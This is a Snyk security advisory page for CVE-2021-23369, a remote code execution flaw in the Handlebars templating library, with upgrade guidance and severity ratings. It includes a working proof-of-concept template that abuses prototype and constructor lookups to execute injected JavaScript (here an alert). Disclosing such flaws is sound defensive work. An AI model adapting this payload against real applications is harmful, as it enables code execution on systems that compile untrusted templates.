

Remote Code Execution (RCE)

Affecting [org.webjars:handlebars](#) package, versions [4.7.7)

INTRODUCED: 8 JAN 2021 [CVE-2021-23369](#) ⓘ [CWE-94](#) ⓘ

Share ▾

How to fix?

Upgrade [org.webjars:handlebars](#) to version 4.7.7 or higher.

Overview

[org.webjars:handlebars](#) is an extension to the Mustache templating language.

Affected versions of this package are vulnerable to Remote Code Execution (RCE) when selecting certain compiling options to compile templates coming from an untrusted source.

POC

```
<script src="https://cdn.jsdelivr.net/npm/handlebars@latest/dist/handlebars.js"></script> <script> // compile the template
var s = `{{#with (__lookupGetter__ "__proto__")}} {{#with (./constructor.getPrototypeOf . "valueOf")}} {{#with
../constructor.prototype}} {{../constructor.defineProperty . "hasOwnProperty" ..}} {{/with}} {{/with}} {{#with
"constructor"}} {{#with split}} {{pop (push "alert('Vulnerable Handlebars JS when compiling in strict mode');")}} {{#with
.}} {{#with (concat (lookup join (slice 0 1)))}} {{#each (slice 2 3)}} {{#with (apply 0 ../.))}} {{.}} {{/with}} {{/each}}
{{/with}} {{/with}} {{/with}} {{/with}} `; var template = Handlebars.compile(s, { strict: true }); // execute the compiled
template and print the output to the console console.log(template({})); </script>
```

References

- [GitHub Commit](#)



🔍 Search by package name or CVE

Snyk CVSS

Exploit Maturity Proof of concept ⓘ

Attack Complexity High ⓘ

Availability HIGH ⓘ

[See more](#)

> NVD 9.8 CRITICAL

> Red Hat 9.8 CRITICAL

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

[Test your applications](#)

Snyk Learn

Learn about Remote Code Execution (RCE) vulnerabilities in an interactive lesson.

[Start learning](#)

Snyk ID **SNYK-JAVA-ORGWEBJARS-1074950**

Published **15 Feb 2021**

Disclosed **8 Jan 2021**

Credit **Francois Lajeunesse-Robert**

[Report a new vulnerability](#)

[Found a mistake?](#)

PRODUCT

[Snyk Open Source](#)

[Snyk Code](#)

[Snyk Container](#)

[Snyk Infrastructure as Code](#)

[Test with Github](#)

[Test with CLI](#)

RESOURCES

[Vulnerability DB](#)

[Documentation](#)

[Disclosed Vulnerabilities](#)

[Blog](#)

[FAQs](#)

COMPANY

[About](#)

[Jobs](#)

[Contact](#)

[Policies](#)

[Do Not Sell My Personal Information](#)

CONTACT US

[Support](#)

[Report a new vuln](#)

[Press Kit](#)

[Events](#)

FIND US ONLINE

TRACK OUR DEVELOPMENT



© 2022 Snyk Limited

Registered in England and Wales. Company number: 09677925

Registered address: Highlands House, Basingstoke Road, Spencers Wood, Reading, Berkshire, RG7 1NT.